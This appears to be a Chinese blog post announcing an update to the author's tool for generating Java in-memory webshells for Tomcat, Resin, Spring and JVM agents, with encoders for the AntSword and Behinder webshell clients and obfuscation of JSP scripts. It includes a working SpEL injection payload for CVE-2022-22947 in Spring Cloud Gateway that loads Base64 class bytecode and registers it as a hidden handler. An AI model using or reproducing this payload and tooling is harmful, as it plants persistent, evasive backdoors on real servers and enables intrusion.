上一次水文还在遥远的上一次,期间除了进一步解藕和美化外:

  1. 添加了Tomcat7、Resin4、SpringMVC、SpringCloud、JVM的内存马

  2. 优化类加载方式、StandardContext获取方式

  3. 增加兼容蚁剑和冰蝎的XOR编码器,对JSP/X脚本Unicode编码

  4. 支持复制类字节码到系统剪切板,捞起了WsFilter的自动编译


先说最没有营养的,安装pyperclip模块就能在生成和自动编译后,将Base64编码的类字节码复制到系统剪切板,省去了在终端里手动复制的过程。这是我感觉最舒服的一个功能,主要是因为容易写不费脑子= =

对于Spring Cloud Gateway的SpEL注入(CVE-2022-22947),可以使用如下示例语句注入Spring Handler,将BASE64_CLASSBYTES替换为生成的类字节码,/index对应内存马的绑定路径。

1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringHandler',T(org.springframework.util.Base64Utils).decodeFromString('BASE64_CLASSBYTES'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).addHandler(@requestMappingHandlerMapping, '/index')}

AgentFiless(JVM)内存马是偷了冰蝎的AgentNoFile移植过来的,《论如何优雅的注入Java Agent内存马》不说概念完全不懂,具体技术细节那也是一脸懵逼。目前只是实验性地做了半自动适配,也许ASM全自动就在不久的下一次?